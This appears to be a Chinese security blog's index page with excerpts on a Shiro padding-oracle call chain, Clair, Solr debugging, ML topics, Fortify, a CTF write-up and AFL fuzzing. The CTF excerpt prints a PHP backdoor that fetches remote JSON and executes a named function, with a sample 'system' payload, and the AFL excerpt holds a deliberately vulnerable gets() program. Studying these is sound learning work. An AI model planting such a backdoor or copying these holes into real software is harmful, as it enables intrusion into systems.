0%

原理

shiro1.2.5后秘钥不再硬编码,但是采用CBC加密会产生padding oracle攻击,又因为java序列化结构体后可以加垃圾字符,所以攻击能够成功

解密时的调用链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
org.apache.shiro.mgt.AbstractRememberMeManager#convertBytesToPrincipals // 不论哪个异常都会返回null,上层302跳转
org.apache.shiro.mgt.AbstractRememberMeManager#decrypt
org.apache.shiro.crypto.JcaCipherService#decrypt(byte[], byte[])
org.apache.shiro.crypto.JcaCipherService#decrypt(byte[] encrypted, byte[] key, byte[] iv)
org.apache.shiro.crypto.JcaCipherService#crypt(byte[] encrypted, byte[] key, byte[] iv, int MODE):
org.apache.shiro.crypto.JcaCipherService#crypt(javax.crypto.Cipher, byte[] encrypted):459 //throw Unable to execute 'doFinal' with cipher instance
javax.crypto.Cipher#doFinal(byte[] encrypted) //this=(key+iv+mode) // jce.jar包 调试直接在这下断点
com.sun.crypto.provider.AESCipher#engineDoFinal(byte[] encrypted, startIdx, len)
com.sun.crypto.provider.CipherCore#doFinal(byte[] encrypted, startIdx, len)
com.sun.crypto.provider.CipherCore#fillOutputBuffer(encrypted, startIdx, iv, startIdx, len, encrypted)
com.sun.crypto.provider.CipherCore#unpad(len, decrypted)
com.sun.crypto.provider.PKCS5Padding#unpad(decrypted, startIdx, len) // throw BadPaddingException
org.apache.shiro.mgt.AbstractRememberMeManager#deserialize(serialized)
org.apache.shiro.io.DefaultSerializer#deserialize(serialized) // invalid stream header
阅读全文 »

Clair简介

clair是CoreOS公司开源的一套针对容器安全性检测工具,主要用于发掘容器中使用的组件是否存在安全性问题。

GitHub项目地址: https://github.com/quay/clair

Clair Framework

术语

  • Ancestry——表示容器
  • Feature——容器中任何具有脆弱性的实体,如软件包和文件
  • Feature Namespace——Feature所在的上下文,如操作系统和编程语言
  • Vulnerability Source——Clair中用来跟踪上有漏洞数据库(如CVE)的组件
  • Vulnerability Metadata Source——漏洞元数据,用来关联上游漏洞数据和Clair数据库
阅读全文 »

环境搭建

下载受影响版本的solr,这里依然选择v8.1.0,这里注意除了添加solr的jar还需要添加velocity的(源码的化可以让IDEA从maven上下源码):

image-20191124205421987

同样的方法启动项目

1
2
3
4
anemone@ANEMONE-ASUS:/mnt/d/Store/document/all_my_work/solr/solr-8.1.0
$ cd server/ #一定要在server下运行
anemone@ANEMONE-ASUS:/mnt/d/Store/document/all_my_work/solr/solr-8.1.0/server
$ java "-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=9000" -Dsolr.solr.home="../example/example-DIH/solr/" -jar start.jar --module=http
阅读全文 »

RNN

普通神经网络不能考虑之前一个单词对下一个单词的作用,即上下文,因此引入RNN。

RNN在中间层加入了memory,在每次传播后,将中间层输出存储到memory,在下一次传播时,将结果取出与原输入一起作为输入,之后再传出到下一层。

以下图为例,为了方便演示,将激活函数全部变为线性,并且权重设为1,假设一开始,输入矩阵$[1,1]^T$,那么会输出$[4,4]^T$,同时两个记忆体由0变为2(因为隐藏层的输出是2)

阅读全文 »

基本介绍

半监督(Semi-supervised Learning)即输入小部分已标记数据和大部分未标记数据进行学习,以提升准确率的一类机器学习方法。

有两种用法:

  • Transductive learning:无标记数据就是测试集本身
  • Inductive learning:无标记数据不是测试集
阅读全文 »

使用方法

GUI入口

如果有GUI,直接运行ScanWizard,按照步骤点下去就行了,结束后会在项目文件夹下生成Fortify{ProjName}的bat或sh文件,运行即可开始扫描,结束后会生成Fortify{ProjName}.fpr文件,双击打开可以查看漏洞和检查报告。

阅读全文 »

爱い窒息、痛

0x01 路径遍历

打开地址看到路径遍历:

1571126059065

在upload文件夹下发现后门和其源码

1571141073240

1571141089817

0x02 后门审计

格式化后,进行代码审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php
$a = isset($_POST['pass']) ? trim($_POST['pass']) : '';
if ($a == '') {
echologin();
} else {
chkpass($a);
helloowner($a);
}
function chkpass($a) {
// UA是md5(POST['pass'])
if (stripos($_SERVER['HTTP_USER_AGENT'], md5($a)) === false) {
echofail(1);
}
return true;
}
function helloowner($a) {
// 这里产生一个url
$b = gencodeurl($a);
// 从url获取文件内容,SSRF
$c = file_get_contents($b);
if ($c == false) {
echofail(2);
}
$d = @json_decode($c, 1);
if (!isset($d['f'])) {
echofail(3);
}
// CodeInjection, may cause RCE, e.g.,{"f":"system","d":"ls"}
$d['f']($d['d']);
}
function gencodeurl($a) {
$e = md5(date("Y-m-d"));
if (strlen($a) > 40) {
$f = substr($a, 30, 5);
$g = substr($a, 10, 10);
} else {
$f = 'good';
$g = 'web.com';
}
$b = 'http://'.$f.$g; // url=http://pass[30:35]+pass[10:20], i.e.,url<=15
return $b;
}
function echofail($h) {/*...*/}
function echologin() {/*...*/}
?>
阅读全文 »

AFL

1
2
make
make install

程序插桩&编译

有问题程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#include <stdio.h>
#include <string.h>

int main(void)
{
char login[32];
char passwd[32];

printf("Login: \n");
gets(login);
printf("Password: \n");
gets(passwd);

if (strcmp(login, "root") == 0) {
if (strcmp(passwd, "1qazxsw2") == 0) {
printf("Access Granted.\n");
return 0;
}
}

printf("Access Denied.\n");
return 1;
}
阅读全文 »